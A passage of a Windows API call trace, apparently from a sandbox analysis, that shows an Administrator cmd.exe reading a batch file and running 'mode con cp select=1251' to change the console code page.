lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0184.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0184.847] _get_osfhandle (_FileHandle=0) returned 0xe8 [0184.847] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.847] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0184.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0184.847] _get_osfhandle (_FileHandle=0) returned 0xe8 [0184.847] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.847] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0184.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0184.847] _get_osfhandle (_FileHandle=0) returned 0xe8 [0184.847] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.847] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0184.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0184.847] _get_osfhandle (_FileHandle=0) returned 0xe8 [0184.847] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.847] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0184.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0184.847] _get_osfhandle (_FileHandle=0) returned 0xe8 [0184.847] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.847] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0184.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0184.847] _get_osfhandle (_FileHandle=0) returned 0xe8 [0184.847] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.847] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0184.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e348, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0184.847] _get_osfhandle (_FileHandle=0) returned 0xe8 [0184.847] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.848] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0184.848] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0184.848] _get_osfhandle (_FileHandle=0) returned 0xe8 [0184.848] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.848] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0184.848] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0184.848] _get_osfhandle (_FileHandle=0) returned 0xe8 [0184.848] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.848] ReadFile (in: hFile=0xe8, lpBuffer=0x4a29c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x22fa58, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesRead=0x22fa58*=0x1, lpOverlapped=0x0) returned 1 [0184.848] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a29c320, cbMultiByte=1, lpWideCharStr=0x4a29e34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0184.848] _get_osfhandle (_FileHandle=0) returned 0xe8 [0184.848] GetFileType (hFile=0xe8) returned 0x3 [0184.848] _get_osfhandle (_FileHandle=0) returned 0xe8 [0184.848] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.848] _get_osfhandle (_FileHandle=1) returned 0xf4 [0184.848] GetFileType (hFile=0xf4) returned 0x3 [0184.848] _get_osfhandle (_FileHandle=1) returned 0xf4 [0184.848] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x4a29c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0184.849] WriteFile (in: hFile=0xf4, lpBuffer=0x4a29c320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22fa38, lpOverlapped=0x0 | out: lpBuffer=0x4a29c320*, lpNumberOfBytesWritten=0x22fa38*=0x18, lpOverlapped=0x0) returned 1 [0184.849] GetProcessHeap () returned 0x370000 [0184.849] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x4012) returned 0x38b240 [0184.849] GetProcessHeap () returned 0x370000 [0184.849] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38b240 | out: hHeap=0x370000) returned 1 [0184.849] _wcsicmp (_String1="mode", _String2=")") returned 68 [0184.849] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0184.849] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0184.849] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0184.849] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0184.849] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0184.849] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0184.849] GetProcessHeap () returned 0x370000 [0184.849] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0xb0) returned 0x3897c0 [0184.849] GetProcessHeap () returned 0x370000 [0184.849] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x1a) returned 0x384610 [0184.850] GetProcessHeap () returned 0x370000 [0184.850] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x38) returned 0x386510 [0184.850] GetConsoleOutputCP () returned 0x1b5 [0184.850] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a29bfe0 | out: lpCPInfo=0x4a29bfe0) returned 1 [0184.851] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0184.851] GetConsoleTitleW (in: lpConsoleTitle=0x22f9f0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0184.851] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0184.851] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0184.851] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0184.851] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0184.851] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0184.851] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0184.851] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0184.851] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0184.851] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0184.851] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0184.851] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0184.851] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0184.851] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0184.851] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0184.851] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0184.851] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0184.851] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0184.851] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0184.851] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0184.851] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0184.851] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0184.851] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0184.851] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0184.852] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0184.852] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0184.852] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0184.852] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0184.852] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0184.852] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0184.852] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0184.852] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0184.852] _wcsicmp (_String1="mode", _String2="START") returned -6 [0184.852] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0184.852] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0184.852] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0184.852] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0184.852] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0184.852] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0184.852] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0184.852] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0184.852] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0184.852] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0184.852] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0184.852] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0184.852] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0184.852] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0184.852] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0184.852] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0184.852] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0184.852] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0184.852] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0184.852] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0184.852] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0184.852] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0184.852] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0184.852] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0184.852] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0184.852] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0184.852] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0184.852] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0184.852] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0184.852] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0184.852] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0184.852] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0184.853] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0184.853] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0184.853] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0184.853] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0184.853] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0184.853] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0184.853] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0184.853] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0184.853] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0184.853] _wcsicmp (_String1="mode", _String2="START") returned -6 [0184.853] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0184.853] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0184.853] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0184.853] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0184.853] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0184.853] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0184.853] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0184.853] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0184.853] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0184.853] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0184.853] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0184.853] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0184.853] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0184.853] GetProcessHeap () returned 0x370000 [0184.853] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x218) returned 0x38aa10 [0184.853] GetProcessHeap () returned 0x370000 [0184.853] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x42) returned 0x389880 [0184.853] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0184.853] GetProcessHeap () returned 0x370000 [0184.854] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x420) returned 0x38b240 [0184.854] SetErrorMode (uMode=0x0) returned 0x0 [0184.854] SetErrorMode (uMode=0x1) returned 0x0 [0184.854] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x38b250, lpFilePart=0x22f280 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x22f280*="system32") returned 0x13 [0184.854] SetErrorMode (uMode=0x0) returned 0x1 [0184.854] GetProcessHeap () returned 0x370000 [0184.854] RtlReAllocateHeap (Heap=0x370000, Flags=0x0, Ptr=0x38b240, Size=0x42) returned 0x38b240 [0184.854] GetProcessHeap () returned 0x370000 [0184.854] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38b240) returned 0x42 [0184.854] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a28f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0184.854] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0184.854] GetProcessHeap () returned 0x370000 [0184.854] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x104) returned 0x385b70 [0184.854] GetProcessHeap () returned 0x370000 [0184.854] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x1f8) returned 0x389be0 [0184.859] GetProcessHeap () returned 0x370000 [0184.859] RtlReAllocateHeap (Heap=0x370000, Flags=0x0, Ptr=0x389be0, Size=0x106) returned 0x389be0 [0184.859] GetProcessHeap () returned 0x370000 [0184.859] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x389be0) returned 0x106 [0184.859] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a28f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0184.859] GetProcessHeap () returned 0x370000 [0184.859] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0xe8) returned 0x389d00 [0184.859] GetProcessHeap () returned 0x370000 [0184.859] RtlReAllocateHeap (Heap=0x370000, Flags=0x0, Ptr=0x389d00, Size=0x7e) returned 0x389d00 [0184.859] GetProcessHeap () returned 0x370000 [0184.860] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x389d00) returned 0x7e [0184.860] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0184.860] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x22eff0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22eff0) returned 0x385c80 [0184.860] GetProcessHeap () returned 0x370000 [0184.861] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x0, Size=0x28) returned 0x384640 [0184.861] FindClose (in: hFindFile=0x385c80 | out: hFindFile=0x385c80) returned 1 [0184.861] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x22eff0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22eff0) returned 0x385c80 [0184.861] GetProcessHeap () returned 0x370000 [0184.861] RtlReAllocateHeap (Heap=0x370000, Flags=0x0, Ptr=0x384640, Size=0x8) returned 0x3898d0 [0184.861] FindClose (in: hFindFile=0x385c80 | out: hFindFile=0x385c80) returned 1 [0184.861] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0184.861] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0184.861] GetConsoleTitleW (in: lpConsoleTitle=0x22f540, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0184.861] GetProcessHeap () returned 0x370000 [0184.861] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x21c) returned 0x38b2a0 [0184.861] GetConsoleTitleW (in: lpConsoleTitle=0x38b2b0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0184.861] GetProcessHeap () returned 0x370000 [0184.861] RtlReAllocateHeap (Heap=0x370000, Flags=0x0, Ptr=0x38b2a0, Size=0xa8) returned 0x38b2a0 [0184.861] GetProcessHeap () returned 0x370000 [0184.861] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38b2a0) returned 0xa8 [0184.861] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0184.862] GetProcessHeap () returned 0x370000 [0184.862] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38b2a0 | out: hHeap=0x370000) returned 1 [0184.862] InitializeProcThreadAttributeList (in: lpAttributeList=0x22f2f8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x22f2b8 | out: lpAttributeList=0x22f2f8, lpSize=0x22f2b8) returned 1 [0184.862] UpdateProcThreadAttribute (in: lpAttributeList=0x22f2f8, dwFlags=0x0, Attribute=0x60001, lpValue=0x22f2a8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x22f2f8, lpPreviousValue=0x0) returned 1 [0184.862] GetStartupInfoW (in: lpStartupInfo=0x22f410 | out: lpStartupInfo=0x22f410*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0184.862] GetProcessHeap () returned 0x370000 [0184.862] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x20) returned 0x384640 [0184.862] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0184.862] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0184.862] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0184.862] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0184.862] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0184.862] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0184.862] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0184.862] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0184.862] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0184.862] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0184.862] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0184.862] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0184.862] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0184.862] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0184.863] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0184.863] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0184.863] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0184.863] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0184.863] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0184.863] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0184.863] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0184.863] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0184.863] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0184.863] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0184.863] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0184.863] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0184.863] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0184.863] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0184.863] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0184.863] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0184.863] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0184.863] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0184.863] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0184.863] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0184.863] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0184.863] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0184.863] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0184.863] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0184.863] GetProcessHeap () returned 0x370000 [0184.863] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x384640 | out: hHeap=0x370000) returned 1 [0184.863] GetProcessHeap () returned 0x370000 [0184.863] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x12) returned 0x388900 [0184.863] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x22f330*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x22f2e0 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x22f2e0*(hProcess=0x54, hThread=0x50, dwProcessId=0x570, dwThreadId=0x508)) returned 1 [0184.866] CloseHandle (hObject=0x50) returned 1 [0184.866] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0184.866] GetProcessHeap () returned 0x370000 [0184.866] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x388a60 | out: hHeap=0x370000) returned 1 [0184.867] GetEnvironmentStringsW () returned 0x388a60* [0184.867] GetProcessHeap () returned 0x370000 [0184.867] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0xac4) returned 0x38b2a0 [0184.867] FreeEnvironmentStringsW (penv=0x388a60) returned 1 [0184.867] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x779b0000 [0184.867] GetProcAddress (hModule=0x779b0000, lpProcName="NtQueryInformationProcess") returned 0x77a014a0 [0184.867] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x22ebe8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x22ebe8, ReturnLength=0x0) returned 0x0 [0184.867] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdb000, lpBuffer=0x22ec20, nSize=0x380, lpNumberOfBytesRead=0x22ebe0 | out: lpBuffer=0x22ec20*, lpNumberOfBytesRead=0x22ebe0*=0x380) returned 1 [0184.867] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0185.380] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x22f228 | out: lpExitCode=0x22f228*=0x0) returned 1 [0185.380] CloseHandle (hObject=0x54) returned 1 [0185.380] _vsnwprintf (in: _Buffer=0x22f498, _BufferCount=0x13, _Format="%08X", _ArgList=0x22f238 | out: _Buffer="00000000") returned 8 [0185.380] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0185.380] GetProcessHeap () returned 0x370000 [0185.380] HeapFree (in: 